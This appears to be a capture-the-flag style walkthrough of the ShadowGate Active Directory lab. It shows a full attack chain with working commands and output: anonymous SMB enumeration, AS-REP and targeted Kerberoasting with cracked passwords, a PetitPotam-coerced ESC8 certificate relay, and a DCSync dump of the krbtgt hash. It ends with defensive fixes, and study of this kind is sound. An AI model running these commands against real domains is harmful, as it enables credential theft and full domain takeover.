In this walkthrough, we will be compromising ShadowGate, an easy-difficulty Active Directory lab from Hack Smarter Labs. The engagement begins with no credentials and only VPN access to the internal network. The domain controller accepts an anonymous SMB session and hands over the full user list, setting up an AS-REP Roast against jtrueblood. BloodHound shows jtrueblood holds GenericWrite over bbrown, and a Targeted Kerberoast through that edge recovers bbrown’s password. Certipy enumeration as bbrown finds an ESC8 misconfiguration, so we coerce the domain controller with PetitPotam and relay its authentication to the web enrollment endpoint for a certificate as DC01$. That certificate gets us the machine account NT hash over PKINIT, and an NTDS dump extracts the krbtgt hash for full domain compromise.

ShadowGate machine card

Created by: Ross

Let’s get started.

Objective

ShadowGate recently completed a corporate acquisition that significantly expanded its internal network, user base, and application footprint. Several business-critical systems were migrated and consolidated under tight operational deadlines to minimize downtime and maintain service continuity.

While functional validation was completed, the organization deferred a comprehensive security assessment due to delivery pressure and staffing constraints. Leadership has since requested an independent penetration test to validate the security posture of the newly created environment and identify any material risk before the next audit cycle.

The assessment will evaluate whether a motivated attacker with standard network access could compromise sensitive systems, escalate privileges, or move laterally within the enterprise environment.

The Hack Smarter team has been authorized to perform a black box internal penetration test against the ShadowGate environment.

The client has provided you with VPN access to their internal network, but no credentials.

Scope

Target: 10.0.30.253

Open Ports

The machine details tab provides the open ports, so we skip port scanning for now. The LDAP banner confirms the domain as shadow.gate. Add shadow.gate to /etc/hosts before continuing.

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-01-15 13:41:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: shadow.gate, Site: Default-First-Site-Name)
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing

Standard domain controller ports across the board. DNS on 53, HTTP on 80, Kerberos on 88, LDAP on 389/636, SMB on 445, RDP on 3389, and WinRM on 5985. With no credentials we start where the AD mindmap does, at anonymous and guest access.

SMB Enumeration

We check for anonymous SMB access and enumerate users with NetExec.

nxc smb 10.0.30.253 -u '' -p '' --users
SMB         10.0.30.253    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB         10.0.30.253    445    DC01             [+] shadow.gate\: 
SMB         10.0.30.253    445    DC01             -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.0.30.253    445    DC01             Administrator                 2026-01-11 11:33:05 0       Built-in account for administering the computer/domain 
SMB         10.0.30.253    445    DC01             Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.0.30.253    445    DC01             krbtgt                        2026-01-12 02:45:27 0       Key Distribution Center Service Account 
SMB         10.0.30.253    445    DC01             ATHENA                        2026-03-04 15:23:19 0        
SMB         10.0.30.253    445    DC01             mbrownlee                     2026-03-04 15:24:05 0        
SMB         10.0.30.253    445    DC01             bbrown                        2026-01-15 14:24:07 0        
SMB         10.0.30.253    445    DC01             jtrueblood                    2026-04-28 18:14:47 0        
SMB         10.0.30.253    445    DC01             jsmith                        2026-03-04 15:26:29 0        
SMB         10.0.30.253    445    DC01             clocke                        2026-03-04 15:24:32 0        
SMB         10.0.30.253    445    DC01             tclarke                       2026-03-04 15:25:33 0        
SMB         10.0.30.253    445    DC01             jbradford                     2026-03-04 15:24:59 0        
SMB         10.0.30.253    445    DC01             amoss                         2026-03-04 15:25:52 0        
SMB         10.0.30.253    445    DC01             [*] Enumerated 12 local users: SHADOW

SMB user enumeration

Anonymous SMB authentication with 12 domain users enumerated

Anonymous authentication is permitted and SAMR hands us all 12 accounts. The output confirms the hostname as DC01, so we add DC01.shadow.gate to /etc/hosts and save the usernames to a usernames.txt file.

Administrator
Guest
krbtgt
ATHENA
mbrownlee
bbrown
jtrueblood
jsmith
clocke
tclarke
jbradford
amoss

Access as jtrueblood

With a user list and no credentials, AS-REP Roasting is the next move. Kerberos normally requires pre-authentication before the KDC returns anything, but an account with pre-authentication disabled gets an AS-REP handed to anyone who asks. Part of that response is encrypted with a key derived from the account’s password, and that is the part we crack offline.

nxc ldap 10.0.30.253 -u usernames.txt -p '' --asreproast output.txt
LDAP        10.0.30.253    389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never) 
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
LDAP        10.0.30.253    389    DC01             $krb5asrep$23$jtrueblood@SHADOW.GATE:afa6ae0248b99c72b9c270c0deadce54$afc895c76e64b3897710b71498c8563a14754b9328f28e32bd456ff99c36bae9ba48f8d64c135562bb7b365ebd3add780d982fd1815aa457812f36bd1621b6de0eef03abb47725bedeee92b497c5f545ba8f678fab626990bf298d648bfe9d86b9d0295d656410665a707294ec190571be48514ebde16280b20a67055f83a648b0f84c31400a16379454d1e7a0d811a320a5489e0f9878f028470cf56921299a1bc765726e28fb619bcbef346ef5c1897583f4b8242570a92b4f0e9fdce20c251b0f3bcf3083cc6e7b17180249bdee11f72c65cd3c67a3eba20636769489db7c38509228e064530c8bbb

AS-REP Roast output

AS-REP Roast: jtrueblood hash captured via NetExec

One hash comes back. The two KDC_ERR_CLIENT_REVOKED lines are accounts the KDC refuses outright, not failed roasts. We save the hash to jtrueblood_hash.txt and crack it with Hashcat, which reads the mode off the hash prefix. $krb5asrep$ is mode 18200.

hashcat jtrueblood_hash.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$jtrueblood@SHADOW.GATE:afa6ae0248b99c72b9c270c0deadce54$afc895c76e64b3897710b71498c8563a14754b9328f28e32bd456ff99c36bae9ba48f8d64c135562bb7b365ebd3add780d982fd1815aa457812f36bd1621b6de0eef03abb47725bedeee92b497c5f545ba8f678fab626990bf298d648bfe9d86b9d0295d656410665a707294ec190571be48514ebde16280b20a67055f83a648b0f84c31400a16379454d1e7a0d811a320a5489e0f9878f028470cf56921299a1bc765726e28fb619bcbef346ef5c1897583f4b8242570a92b4f0e9fdce20c251b0f3bcf3083cc6e7b17180249bdee11f72c65cd3c67a3eba20636769489db7c38509228e064530c8bbb:blood_brothers
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$jtrueblood@SHADOW.GATE:afa6ae0248b99c...0c8bbb
Time.Started.....: Thu Jun 11 16:35:57 2026 (4 secs)
Time.Estimated...: Thu Jun 11 16:36:01 2026 (0 secs)

AS-REP Roast and crack

AS-REP Roast and Hashcat crack for jtrueblood

Cracked. We have jtrueblood:blood_brothers and verify against SMB.

nxc smb 10.0.30.253 -u 'jtrueblood' -p 'blood_brothers' --shares
SMB         10.0.30.253    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB         10.0.30.253    445    DC01             [+] shadow.gate\jtrueblood:blood_brothers 
SMB         10.0.30.253    445    DC01             [*] Enumerated shares
SMB         10.0.30.253    445    DC01             Share           Permissions     Remark
SMB         10.0.30.253    445    DC01             -----           -----------     ------
SMB         10.0.30.253    445    DC01             ADMIN$                          Remote Admin
SMB         10.0.30.253    445    DC01             C$                              Default share
SMB         10.0.30.253    445    DC01             CertEnroll      READ            Active Directory Certificate Services share
SMB         10.0.30.253    445    DC01             IPC$            READ            Remote IPC
SMB         10.0.30.253    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.0.30.253    445    DC01             SYSVOL          READ            Logon server share 

jtrueblood SMB access

Validating jtrueblood credentials with NetExec

Credentials confirmed. A CertEnroll share shows up, which tells us AD CS is deployed here.

BloodHound Enumeration

One valid credential is enough to read the directory, so we look at what jtrueblood can reach. We point NetExec at the DC for DNS with --dns-server so the collector can resolve the domain records it asks for.

nxc ldap 10.0.30.253 -u 'jtrueblood' -p 'blood_brothers' --bloodhound --collection All --dns-server 10.0.30.253

We import the data and review outbound object control for jtrueblood. The account holds GenericWrite over bbrown.

BloodHound GenericWrite

BloodHound GenericWrite: jtrueblood over bbrown

bbrown is also a member of the ADCS-READERS group.

bbrown ADCS-READERS group

BloodHound showing bbrown membership in ADCS-READERS

Access as bbrown

GenericWrite does not allow a password reset, but it does let us write attributes, which is all a Targeted Kerberoast requires. Setting a Service Principal Name on an account we can write to makes it roastable: any authenticated user can then request a service ticket for it, and part of that ticket is encrypted with a key derived from the account’s password, so we crack it offline. targetedKerberoast.py sets the SPN, requests the TGS, and removes the SPN after.

./targetedKerberoast.py -v -d 'shadow.gate' -u 'jtrueblood' -p 'blood_brothers'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[VERBOSE] SPN added successfully for (bbrown)
[+] Printing hash for (bbrown)
$krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$16e9f43770ea4f6e3d1c9d37213c9fb3$e40993873f615f2a35effc17339aa525fc1f82e78ca26a21e9066e5cf328897bfcb17815e786887a1d66b4875394a7fe03e38181447e6e14186a89c9abc2627837dfab3b148a781bb1605c9df6891ffaa774ec35e2a26cc67787c4e388a14da15e0c1c496709fc971d6c130d5e67d5d5a6ff61d58ffcc3cd9c92013e705351dfa20e5aff1546e44a3eaa1d8f7b1370587037599e15aeb58c6dd7de3c82a85cc97f2ca337bbcd58cb922c91af35a6303dd69cc6af90a24e3ad6a6941111d6e992de28654d3dca5278ad8cd003243c6ed0bfc08c7b08db06874df215e25a7eb3722bdf6468e037cde0f05b7653c6d8903784fb4ea4f6f6a299e5fd9b39437badb07c40417f12bd66ff940d39ae86fe5d3a03e542a8fdcd1ae2fe4e7d19932f4269d0b9b9ec25629852dbc82685a5effd09ed0c593e5dcbd9376c16b902f0b16ee34442d15eb8daf244236cc66636cd22806529d6990b5b34932442117c983dd3f5b489fd0f05d3e48edec8d94bd4805947b55931d3555557fad39d90dc8fc53319267d5b30edb12e4939ab375278e11cba1822628f3e668fff22bbe2c9f3da035f61a4fb0eb339277da13cf5e09a7ee60e3509370ef967b05be05e6f224f540e268a55e59ea73a58025bec3d404ac8fc575a843e9799658a1bc500c6c35535038a628a342fc2c4be0653c1cc5122b57f1f03d19a196a4fbbc01fe60b95211dfa9e21df48d7207539bff68f47b2c96226fed623df1a13abc9cf6ac57c2e99352060217198897b6acd89cc5c6305937bd623889b718a7dded5bfd428205390d18ced7eff4c1a2e2ac4c25a6421317b257e9b8a7f57c9ea84604cc926268eebf60b1c57007529e6b53ceb2c2e6f9e8a96e7609dd48e2a94c2e6e366e6921f9395243e465dbc6f938a3fe2d3842165b4dba136ef237461841c0a7896b9650184af08dfed2e9909d3212b047af140ac92d8116a9090b01683335ad1f467c3ed0f195f0222f1e989be95eebc0f12e417c28bd5d5d0542ae5d551683453a202d6d24fa08bb1ffbe4f4fd000f14cb23c75560ed8e23768218524247097d632337a103dc8237c08428d5f7006b1df671d51cefa7363a63746f7295eb052c4b3a10d84352fa578ff431475b09161492ecab9c64bd22cd52f173ec16f9e1dcd6d97eaebe9553be8f903bc152a029e6bd1158795f10ddf99d20cf6fb0202f1d27ed45d1a018c8a789c434bbe54e9faafd2c1bd2d37cb3d9ef437f148bbf180db2d882760b1d1400da3e95382d025d8181971548d4f2b026aa722fdcd42df477907c62546d0312c5017f44dc2326ce8a248daee7bdfee8f4f15713b85c4dd7fb6a55b368a1f62ae9d0d9490849036586e5f32b0a8cd4cfe3034355ec135f3a6fd0c0a6dfbb8831355a8a5f61a03a6449a5350f62522cb487eb3d0884cc7dc4cc75d1c39d185e592e4653306d916aae44a5cc3bde6757d5b34691de8df8cd1c52dab6a279f0d5bc703d7c500994a0c1ede5ab56c1595efb6e59b51e23aff
[VERBOSE] SPN removed successfully for (bbrown)

Targeted Kerberoast output

Targeted Kerberoast: SPN set and TGS hash captured for bbrown

We save the hash to bbrown_hash.txt and crack it with Hashcat. The $krb5tgs$ prefix puts this one at mode 13100.

hashcat bbrown_hash.txt /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$16e9f43770ea4f6e3d1c9d37213c9fb3$e40993873f615f2a35effc17339aa525fc1f82e78ca26a21e9066e5cf328897bfcb17815e786887a1d66b4875394a7fe03e38181447e6e14186a89c9abc2627837dfab3b148a781bb1605c9df6891ffaa774ec35e2a26cc67787c4e388a14da15e0c1c496709fc971d6c130d5e67d5d5a6ff61d58ffcc3cd9c92013e705351dfa20e5aff1546e44a3eaa1d8f7b1370587037599e15aeb58c6dd7de3c82a85cc97f2ca337bbcd58cb922c91af35a6303dd69cc6af90a24e3ad6a6941111d6e992de28654d3dca5278ad8cd003243c6ed0bfc08c7b08db06874df215e25a7eb3722bdf6468e037cde0f05b7653c6d8903784fb4ea4f6f6a299e5fd9b39437badb07c40417f12bd66ff940d39ae86fe5d3a03e542a8fdcd1ae2fe4e7d19932f4269d0b9b9ec25629852dbc82685a5effd09ed0c593e5dcbd9376c16b902f0b16ee34442d15eb8daf244236cc66636cd22806529d6990b5b34932442117c983dd3f5b489fd0f05d3e48edec8d94bd4805947b55931d3555557fad39d90dc8fc53319267d5b30edb12e4939ab375278e11cba1822628f3e668fff22bbe2c9f3da035f61a4fb0eb339277da13cf5e09a7ee60e3509370ef967b05be05e6f224f540e268a55e59ea73a58025bec3d404ac8fc575a843e9799658a1bc500c6c35535038a628a342fc2c4be0653c1cc5122b57f1f03d19a196a4fbbc01fe60b95211dfa9e21df48d7207539bff68f47b2c96226fed623df1a13abc9cf6ac57c2e99352060217198897b6acd89cc5c6305937bd623889b718a7dded5bfd428205390d18ced7eff4c1a2e2ac4c25a6421317b257e9b8a7f57c9ea84604cc926268eebf60b1c57007529e6b53ceb2c2e6f9e8a96e7609dd48e2a94c2e6e366e6921f9395243e465dbc6f938a3fe2d3842165b4dba136ef237461841c0a7896b9650184af08dfed2e9909d3212b047af140ac92d8116a9090b01683335ad1f467c3ed0f195f0222f1e989be95eebc0f12e417c28bd5d5d0542ae5d551683453a202d6d24fa08bb1ffbe4f4fd000f14cb23c75560ed8e23768218524247097d632337a103dc8237c08428d5f7006b1df671d51cefa7363a63746f7295eb052c4b3a10d84352fa578ff431475b09161492ecab9c64bd22cd52f173ec16f9e1dcd6d97eaebe9553be8f903bc152a029e6bd1158795f10ddf99d20cf6fb0202f1d27ed45d1a018c8a789c434bbe54e9faafd2c1bd2d37cb3d9ef437f148bbf180db2d882760b1d1400da3e95382d025d8181971548d4f2b026aa722fdcd42df477907c62546d0312c5017f44dc2326ce8a248daee7bdfee8f4f15713b85c4dd7fb6a55b368a1f62ae9d0d9490849036586e5f32b0a8cd4cfe3034355ec135f3a6fd0c0a6dfbb8831355a8a5f61a03a6449a5350f62522cb487eb3d0884cc7dc4cc75d1c39d185e592e4653306d916aae44a5cc3bde6757d5b34691de8df8cd1c52dab6a279f0d5bc703d7c500994a0c1ede5ab56c1595efb6e59b51e23aff:12345678
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*...e23aff
Time.Started.....: Thu Jun 11 17:11:31 2026 (0 secs)
Time.Estimated...: Thu Jun 11 17:11:31 2026 (0 secs)

Hashcat crack for bbrown

Hashcat crack for bbrown: password recovered from TGS-REP hash

Cracked instantly. We have bbrown:12345678 and verify.

nxc smb 10.0.30.253 -u 'bbrown' -p '12345678' --shares
SMB         10.0.30.253    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB         10.0.30.253    445    DC01             [+] shadow.gate\bbrown:12345678 
SMB         10.0.30.253    445    DC01             [*] Enumerated shares
SMB         10.0.30.253    445    DC01             Share           Permissions     Remark
SMB         10.0.30.253    445    DC01             -----           -----------     ------
SMB         10.0.30.253    445    DC01             ADMIN$                          Remote Admin
SMB         10.0.30.253    445    DC01             C$                              Default share
SMB         10.0.30.253    445    DC01             CertEnroll      READ            Active Directory Certificate Services share
SMB         10.0.30.253    445    DC01             IPC$            READ            Remote IPC
SMB         10.0.30.253    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.0.30.253    445    DC01             SYSVOL          READ            Logon server share 

bbrown SMB access

Validating bbrown credentials with NetExec

Credentials confirmed, with no new shares. bbrown has no outbound object control in BloodHound, so the ADCS-READERS membership is the lead.

Certipy Enumeration

The ADCS-READERS membership is our cue to look at AD CS. Any authenticated account can enumerate the CA, so we run Certipy as bbrown.

certipy-ad find -u 'bbrown' -p '12345678' -dc-ip '10.0.30.253' -stdout -vulnerable
Certificate Authorities
  0
    CA Name                             : shadow-DC01-CA
    DNS Name                            : DC01.shadow.gate
    Certificate Subject                 : CN=shadow-DC01-CA, DC=shadow, DC=gate
    Certificate Serial Number           : 749A4BA2BEA3CFBC41ECDFAEE502E46C
    Certificate Validity Start          : 2026-01-12 02:50:31+00:00
    Certificate Validity End            : 2046-01-12 03:00:31+00:00
    Web Enrollment
      HTTP
        Enabled                         : True
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : SHADOW.GATE\Administrators
      Access Rights
        ManageCa                        : SHADOW.GATE\Administrators
                                          SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        ManageCertificates              : SHADOW.GATE\Administrators
                                          SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Enroll                          : SHADOW.GATE\Authenticated Users
    [!] Vulnerabilities
      ESC8                              : Web Enrollment is enabled over HTTP.
Certificate Templates                   : [!] Could not find any certificate templates

Certipy ESC8 finding

Certipy ESC8: Web Enrollment enabled over HTTP on shadow-DC01-CA

Certipy flags ESC8: web enrollment is enabled over HTTP with no HTTPS. The -vulnerable flag returns no templates, so we run it again without the flag.

certipy-ad find -u 'bbrown' -p '12345678' -dc-ip '10.0.30.253' -stdout
    Template Name                       : DomainController
    Display Name                        : Domain Controller
    Certificate Authorities             : shadow-DC01-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireDirectoryGuid
                                          SubjectAltRequireDns
                                          SubjectRequireDnsAsCn
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Extended Key Usage                  : Client Authentication
                                          Server Authentication
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 1
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2026-01-12T03:00:32+00:00
    Template Last Modified              : 2026-01-15T01:57:45+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SHADOW.GATE\Enterprise Read-only Domain Controllers
                                          SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Domain Controllers
                                          SHADOW.GATE\Enterprise Admins
                                          SHADOW.GATE\Enterprise Domain Controllers
      Object Control Permissions
        Owner                           : SHADOW.GATE\Enterprise Admins
        Full Control Principals         : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Write Owner Principals          : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Write Dacl Principals           : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Enterprise Admins
        Write Property Enroll           : SHADOW.GATE\Domain Admins
                                          SHADOW.GATE\Domain Controllers
                                          SHADOW.GATE\Enterprise Admins
                                          SHADOW.GATE\Enterprise Domain Controllers

DomainController template

DomainController template with enrollment rights for Domain Controllers

The DomainController template is enabled and published on shadow-DC01-CA, with enrollment rights for Domain Controllers.

Access as DC01$

ESC8 is an AD CS misconfiguration where the HTTP certificate enrollment endpoint accepts NTLM without channel binding. We coerce the DC into authenticating to us and relay that authentication straight through to the endpoint, which issues a certificate on the DC’s behalf. It works on a combined DC/CA because the relay is cross-protocol, SMB to HTTP. The weakness is in how web enrollment handles authentication, not in any template.

The relayed identity is DC01$, so we need a template Domain Controllers can enroll in. DomainController fits: client authentication EKU, no manager approval, no authorized signatures.

certipy-ad relay -target 'http://10.0.30.253' -template 'DomainController' -subject 'CN=DC01$'
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting http://10.0.30.253/certsrv/certfnsh.asp (ESC8)
[*] Listening on 0.0.0.0:445
[*] Setting up SMB Server on port 445

With the relay running, we use NetExec’s coerce_plus module to trigger PetitPotam, which abuses MS-EFSRPC to make DC01 authenticate to our machine.

nxc smb 10.0.30.253 -u 'bbrown' -p '12345678' -M coerce_plus -o LISTENER=10.200.58.13 METHOD=PetitPotam
SMB         10.0.30.253    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB         10.0.30.253    445    DC01             [+] shadow.gate\bbrown:12345678 
COERCE_PLUS 10.0.30.253    445    DC01             VULNERABLE, PetitPotam
COERCE_PLUS 10.0.30.253    445    DC01             Exploit Success, efsrpc\EfsRpcAddUsersToFile

Back in the relay window the authentication lands and a certificate is issued.

[*] (SMB): Received connection from 10.0.30.253, attacking target http://10.0.30.253
[*] HTTP Request: GET http://10.0.30.253/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://10.0.30.253/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
[*] HTTP Request: GET http://10.0.30.253/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] (SMB): Authenticating connection from /@10.0.30.253 against http://10.0.30.253 SUCCEED [1]
[*] Requesting certificate for '\\' based on the template 'DomainController'
[*] http:///@10.0.30.253 [1] -> HTTP Request: POST http://10.0.30.253/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
[*] Certificate issued with request ID 3
[*] Retrieving certificate for request ID: 3
[*] (SMB): Received connection from 10.0.30.253, attacking target http://10.0.30.253
[*] http:///@10.0.30.253 [1] -> HTTP Request: GET http://10.0.30.253/certsrv/certnew.cer?ReqID=3 "HTTP/1.1 200 OK"
[*] Got certificate with subject: CN=DC01.shadow.gate
[*] Got certificate with DNS Host Name 'DC01.shadow.gate'
[*] Certificate object SID is 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Saving certificate and private key to 'dc01.pfx'
[*] Wrote certificate and private key to 'dc01.pfx'
[*] Exiting...

ESC8 relay success

ESC8 relay: certificate issued for DC01$

With the PFX we authenticate over PKINIT, the Kerberos extension that lets a certificate stand in for a password, and pull the NT hash.

certipy-ad auth -pfx dc01.pfx -dc-ip 10.0.30.253
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC01.shadow.gate'
[*]     Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000'
[*] Using principal: 'dc01$@shadow.gate'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc01.ccache'
[*] Wrote credential cache to 'dc01.ccache'
[*] Trying to retrieve NT hash for 'dc01$'
[*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:a29353e7dcd23e7f5e33d9a1dcfeaf45

Certipy PKINIT authentication

Certipy PKINIT: TGT and NT hash for DC01$

Certipy gets that hash by requesting a Kerberos ticket to itself and reading the credential blob out of the ticket’s PAC. NTLM authenticates with the hash itself, so there is nothing left to crack.

NTDS Dump

krbtgt’s key encrypts every TGT the domain issues, so its hash lets us forge a ticket for any account. NetExec never touches NTDS.dit directly. It asks the DC to replicate the account we name, the same way domain controllers sync with each other, which is why a domain controller machine account is all we need. --user KRBTGT scopes what prints, not what gets read.

nxc smb 10.0.30.253 -u 'DC01$' -H 'aad3b435b51404eeaad3b435b51404ee:a29353e7dcd23e7f5e33d9a1dcfeaf45' --ntds --user KRBTGT
SMB         10.0.30.253    445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None)
SMB         10.0.30.253    445    DC01             [+] shadow.gate\DC01$:a29353e7dcd23e7f5e33d9a1dcfeaf45 
SMB         10.0.30.253    445    DC01             [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         10.0.30.253    445    DC01             [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         10.0.30.253    445    DC01             krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802:::
SMB         10.0.30.253    445    DC01             [+] Dumped 1 NTDS hashes to /home/kali/.nxc/logs/ntds/DC01_10.0.30.253_2026-06-11_180932.ntds of which 1 were added to the database
SMB         10.0.30.253    445    DC01             [*] To extract only enabled accounts from the output file, run the following command: 
SMB         10.0.30.253    445    DC01             [*] grep -iv disabled /home/kali/.nxc/logs/ntds/DC01_10.0.30.253_2026-06-11_180932.ntds | cut -d ':' -f1

NTDS dump

NTDS dump: krbtgt hash recovered

The access denied line is expected. NetExec first tries remote registry for the boot key, and DC01$ is not an administrator on its own domain controller, but the replication path does not need it. We recover the krbtgt NT hash b5509cbfe52e94940c0ec99b21e09802 and the domain is compromised.

Final Thoughts

The relay was the part I had to slow down on. Pointing a coerced authentication back at the host it came from feels wrong until you look at which protocols are on each end, and Certipy’s built-in relay handled it in one window instead of standing up impacket-ntlmrelayx alongside it. The rest of the chain moved fast, mostly because that first anonymous session removed any guessing about who to attack.

Null sessions are the finding I would lead a report with, since a domain controller answering unauthenticated SAMR queries is what made everything downstream possible. Pre-authentication belongs on every account, and object-level rights like GenericWrite need auditing on a schedule rather than at build time. On the CA, HTTP enrollment should be off and HTTPS with channel binding required. SMB signing is not the control here, since the receiving end of this relay was never SMB.

— 0xB1rd